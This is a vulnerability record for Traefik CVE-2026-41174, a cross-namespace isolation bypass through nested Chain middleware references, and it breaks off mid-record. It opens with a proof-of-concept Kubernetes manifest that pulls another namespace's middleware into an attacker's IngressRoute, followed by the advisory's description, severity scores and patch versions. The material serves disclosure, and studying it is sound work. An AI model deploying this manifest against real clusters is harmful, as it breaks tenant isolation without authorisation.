CVE-2026-41174

# PoC: Exploiting Traefik Chain Middleware Bypass # Assumption: 'sensitive-middleware' exists in 'target-namespace' # Attacker creates resources in 'attacker-namespace' apiVersion: traefik.containo.us/v1alpha1 kind: Middleware metadata: name: malicious-chain namespace: attacker-namespace spec: chain: middlewares: - name: sensitive-middleware namespace: target-namespace # Bypassing isolation here --- apiVersion: traefik.containo.us/v1alpha1 kind: IngressRoute metadata: name: ingress-route-poc namespace: attacker-namespace spec: entryPoints: - web routes: - match: Host(`example.com`) kind: Rule services: - name: service-name port: 80 middlewares: - name: malicious-chain

{"cve": {"id": "CVE-2026-41174", "sourceIdentifier": "[email protected]", "published": "2026-04-30T21:16:33.240", "lastModified": "2026-05-01T17:39:35.703", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Traefik is an HTTP reverse proxy and load balancer. Prior to versions 2.11.43, 3.6.14, and 3.7.0-rc.2, there is a potential vulnerability in Traefik's Kubernetes CRD provider cross-namespace isolation enforcement. When providers.kubernetesCRD.allowCrossNamespace=false, Traefik correctly rejects direct cross-namespace middleware references from IngressRoute objects, but fails to apply the same restriction to middleware references nested inside a Chain middleware's spec.chain.middlewares[]. An actor with permission to create or update Traefik CRDs in their own namespace can exploit this to cause Traefik to resolve and apply middleware objects from another namespace, bypassing the documented isolation boundary. This issue has been patched in versions 2.11.43, 3.6.14, and 3.7.0-rc.2."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-653"}, {"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:traefik:traefik:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.11.43", "matchCriteriaId": "71119432-1348-4F69-A0E3-FA74592FA7EE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:traefik:traefik:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.0.0", "versionEndExcluding": "3.6.14", "matchCriteriaId": "AA7AAE16-BBAD-434D-89F5-D52359D11D36"}, {"vulnerable": true, "criteria": "cpe:2.3:a:traefik:traefik:3.7.0:ea1:*:*:*:*:*:*", "matchCriteriaId": "7881B288-5141-4508-AB71-3F7586168437"}, {"vulnerable": true, "criteria": "cpe:2.3:a:traefik:traefik:3.7.0:ea2:*:*:*:*:*:*", "matchCriteriaId": "AE5788A2-CCF9-4E87-8B94-133874F99CAE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:traefik:traefik:3.7.0:ea3:*:*:*:*:*:*", "matchCriteriaId": "B133B8F6-1C34-4354-9C1C-A5E063D27BC6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:traefik:traefik:3.7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "976D40ED-187E-4C95-BB5A-126F06B8FAD9"}]}]}], "references": [{"url": "https://github.com/traefik/traefik/commit/df00d82fc7f12e07199551832b54de6d0e55414d", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/traefik/traefik/releases/tag/v2.11.43", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/traefik/traefik/releases/tag/v3.6.14", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/traefik/traefik/releases/tag/v3.7.0-rc.2", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/traefik/traefik/security/advisories/GHSA-xhjw-95fp-8v ... (truncated)